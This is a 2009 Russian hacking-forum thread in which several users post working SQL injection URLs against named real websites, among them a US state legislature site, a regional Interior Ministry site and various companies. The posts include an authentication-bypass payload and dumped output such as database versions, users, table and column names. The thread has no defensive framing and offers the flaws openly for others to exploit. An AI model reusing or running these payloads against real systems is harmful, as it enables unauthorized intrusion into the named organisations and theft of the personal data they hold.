ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.09.2009, 21:33
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

http://www.aldaniti.net/

POST
Код:
email_zp=' or 1=1/*@antichat.ru&pass_zp=password
thx ElteRUS
 
Ответить с цитированием

  #2  
Старый 17.09.2009, 22:21
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами: 10024314

Репутация: 739
По умолчанию

Illinois General Assembly
Цитата:
http://www.ilga.gov/legislation/BillStatus.asp?DocNum=1&GAID=10&DocTypeID=SB'+AND+ 1=(select+@@version)--&LegId=39858&SessionID=76&GA=96
Код:
Microsoft SQL Server 2005 - 9.00.3310.00 (Intel X86) Dec 19 2008 00:58:18 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
 
Ответить с цитированием

  #3  
Старый 17.09.2009, 23:04
ph4nt0m
Новичок
Регистрация: 10.08.2009
Сообщений: 11
С нами: 8817384

Репутация: 37
По умолчанию

iem.com Pr4

Количество полей, вывод:
Код:
http://www.iem.com/NewsArticle.php?news_id=-53+union+select+1,2,3,4,5,6,7,8--
далее:

PHP код:
http://www.iem.com/NewsArticle.php?news_id=-53+union+select+1,2,3,4,USER(),DATABASE(),7,8-- 
Цитата:
root@localhost
iemcorp
ось:
OS : Windows NT VMWEBSRV 6.0 build 6001
Server : Microsoft-IIS/7.0
User : IUSR
pwd : C:\inetpub\wwwroot

Последний раз редактировалось jokester; 17.09.2009 в 23:27..
 
Ответить с цитированием

  #4  
Старый 18.09.2009, 00:13
hackmon
Познающий
Регистрация: 16.09.2009
Сообщений: 86
С нами: 8763785

Репутация: 93
По умолчанию

Код:
http://www.caddealer.com/greenit/news.php?id=-1+union+select+1,2,3,4,5,6,7--
версия
Код:
5.0.45
 
Ответить с цитированием

  #5  
Старый 18.09.2009, 01:10
IgAlex
Познающий
Регистрация: 17.11.2008
Сообщений: 48
С нами: 9200579

Репутация: 71
По умолчанию

www.rakebacknetwork.com
Код:
http://www.rakebacknetwork.com/featuredsites.php?id=-1%20union%20all%20select%201,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17--
4.1.20-community-nt:rakebacknetwork:rakebacknetwork@localhost
 
Ответить с цитированием

  #6  
Старый 18.09.2009, 08:59
it's my
Banned
Регистрация: 29.09.2007
Сообщений: 512
С нами: 9798146

Репутация: 1224


По умолчанию

заказывал сигары, и чот решил посмотреть короче шоп сигар, крутите кому надо
Код:
http://www.bestcigars.ru/shop.php?typeid=1&subtypeid=2&brandid=-1+union+select+1,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns+limit+215,1+--+

Последний раз редактировалось jokester; 18.09.2009 в 14:44.. Причина: domsigar.ru БОЯН. А то, что в другом скрипте, по***. Та скуль работает до сих пор. Может ты все сайты тут на другие скриты пересмотришь?
 
Ответить с цитированием

  #7  
Старый 18.09.2009, 10:02
hackmon
Познающий
Регистрация: 16.09.2009
Сообщений: 86
С нами: 8763785

Репутация: 93
По умолчанию

Код:
http://www.brokenpencil.com/deathmatch/2008/view.php?id=2 +union+select+1,2,3,4--
database brokenpe
 
Ответить с цитированием

  #8  
Старый 18.09.2009, 13:53
Shadrin
Постоянный
Регистрация: 20.08.2008
Сообщений: 348
С нами: 9328846

Репутация: 270
По умолчанию

pr5
ponte_barca@localhost : ponte_barca : 4.1.22
Код:
http://www.pontedabarca.com.pt/destaque.php?id=-183+UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4,5,6,7--

it's my за свои деньги еще и травиться,раньше паровозил,щас не жалею что бросил.
Цитата:
Сообщение от it's my  
<BlackSun>: домсигары - боян.
странно что за 2 года дыру так и не залепили

Последний раз редактировалось Shadrin; 18.09.2009 в 13:56..
 
Ответить с цитированием

  #9  
Старый 18.09.2009, 17:52
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
С нами: 9362947

Репутация: 1196


По умолчанию

МВД [Министерство внутренних дел]


Код:
http://www.mvd.rkomi.ru/indexnews.php?id=-186+union+select+1,2,3,4,5,6,7+--
Код:
http://www.mvd.rkomi.ru/indexnews.php?id=-186+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7+--
version:5.0.51a
db:mvd
user:mvd@localhost
OS:suse-linux-gnu

Tables:
Код:
http://www.mvd.rkomi.ru/indexnews.php?id=-186+union+select+1,2,3,4,table_name,6,7+from+information_schema.tables+--
anons
datamvd
gibdd
info
mail
memorial
news
orientirovki
pamiatki
rozisk
service
yhastk
yvdovd


Код:
http://www.mvd.rkomi.ru/indexnews.php?id=-186+union+select+1,2,3,4,COLUMN_NAME,6,7+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='mail'+--
Structure of several tables

->mail:
Код:
+--------------------+
|id | service | email|
+--------------------+

->yhastk :
Код:
+-----------------------------------------------+
|id | name | email | tel | flag | raion | region|
+-----------------------------------------------+
->service:
Код:
+--------------------------+
|id | title | text |priznak|
+--------------------------+
->datamvd:
Код:
+-----------------------------------------------+
|id | name | path | prikaz | id1 | data | razmer|
+-----------------------------------------------+
->info:
Код:
+---------------------------+
|id | text | priznak | title|
+---------------------------+

//that's all

 
Ответить с цитированием

  #10  
Старый 18.09.2009, 19:39
Dyxxx
Участник форума
Регистрация: 16.02.2009
Сообщений: 191
С нами: 9069748

Репутация: 438
По умолчанию

accel.com pr7
Сообщество буржуй-предпринимателей
Код:
http://www.accel.com/news/news_one_up.php?news_id=null'+union+all+select+null,null,null,concat_ws(0x2f,0x3C7363726970743E616C6572742827,version(),user(),database(),0x27293C2F7363726970743E),null+--+
Второй сервер:
http://careers.accel.com/jobdetail.php?jobid=27063+and+substring(version(),1,1)=5
5.0.84-rs/accel_outty@localhost/Web_Admin_Live
второй серв 5 мускул, юзер 5vlmysqluser


ps/ всё в дырках
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.